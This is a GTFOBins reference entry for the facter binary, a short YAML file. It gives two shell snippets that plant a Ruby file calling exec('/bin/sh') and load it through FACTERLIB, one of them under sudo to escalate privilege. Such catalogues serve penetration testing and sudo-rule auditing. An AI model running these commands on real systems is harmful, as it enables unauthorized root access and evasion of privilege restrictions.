GTFOBins.github.io/_gtfobins/facter.md
2020-06-10 22:56:05 +02:00

14 lines
259 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
sudo:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
sudo FACTERLIB=$TF facter
---